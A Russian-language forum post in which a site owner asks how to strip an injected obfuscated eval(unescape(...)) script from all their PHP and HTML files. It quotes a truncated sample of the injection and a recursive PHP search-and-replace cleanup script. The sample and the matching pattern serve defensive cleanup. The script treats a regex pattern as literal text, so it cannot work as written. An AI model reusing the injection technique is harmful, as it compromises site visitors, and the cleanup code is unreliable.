kozich
Новичок
Поиск вредоносного кода в файлах на сервере и его(код) удаление
Здравствуйте.
На всех моих php и html файлах увидел, что в конце прописался такой код
Нашел скрипт, который ищет необходимые файлы, ищет в нем определенный текст и заменяет его.
Но проблема в том, что вредоносный код не одинаков на всех страничках, общее у него, только конец и начало.
Подскажите плиз, как составить маску $search_str, чтобы искало вредоносный код по его началу и концу и удаляло его, а то ничего не получается :-(
Здравствуйте.
На всех моих php и html файлах увидел, что в конце прописался такой код
PHP:
<!-- [ 16994264306859203bc4df9be506d816 ] --><script>eval(unescape('function%20ctvInO%28cqT (и т.д) 2532%2526%2526%2557%256d%2541%27%29%3B'));</script><!-- end -->
PHP:
<?php $work_dir="/home/";
// рабочая директория - обязательно должна заканчиваться // символом "/" $excl_dir=array();
$excl_dir[0]="./no_work_here/";
$excl_dir[1]="./and_here/and_here/";
// директории, где поиск/замена не производятся - обязательно должны заканчиваться
// символом "/"
$file_mask_1=".html";
$file_mask_2=".php";
// маски обрабатываемых файлов (будут обработаны все файлы,
// содержащие данную строку в имени)
$search_str="<!-- [ 16994264306859203bc4df9be506d816 ] --><script>eval(unescape(.*)</script><!-- end -->";
#что ищем
$replace_str="";#чем заменяем
//******************************************************
$level=0;
function sr($dir)
{
global $level,$file_mask_1,$file_mask_2,$search_str,$replace_str,$excl_dir;
echo "<b>";
for ($i=0;$i<$level;$i++)
echo "* * ";
echo $dir."</b>";
if (@in_array($dir,$excl_dir))
{
echo " - needn't search & replace<br>";
return;
}
echo "<br>";
$p = dir($dir);
while($ent=$p->read())
{
if ($ent!="." && $ent!=".." && !is_dir($dir . $ent) && (eregi(sql_regcase($file_mask_1),$ent) || eregi(sql_regcase($file_mask_2),$ent)))
{
$tmp=@file($dir.$ent);
$str=@implode("",$tmp);
if (strpos("@!#%xrenoder^&*()".$str,$search_str))
{
for ($i=0;$i<($level)+1;$i++) echo "* * ";
echo $dir.$ent." found...";
$str=str_replace($search_str,$replace_str,$str);
// novi.php - этот файл, в котором поиск кода не нужен.
if ($ent!="novi.php")
{
if ($fp=@fopen($dir.$ent, "w"))
{
flock($fp,LOCK_EX);
fwrite($fp,$str);
fclose($fp);
echo " and replace<br>";
}
else echo " and <b>can't replace</b><br>";
}
}
}
elseif($ent!="." and $ent!=".." and is_dir($dir . $ent))
{
$level++; sr($dir.$ent."/"); $level--;
}
}
$p->close();
return;
}
sr($work_dir);
echo "SEARCH & REPLACE Complete";
?>
Но проблема в том, что вредоносный код не одинаков на всех страничках, общее у него, только конец и начало.
Подскажите плиз, как составить маску $search_str, чтобы искало вредоносный код по его началу и концу и удаляло его, а то ничего не получается :-(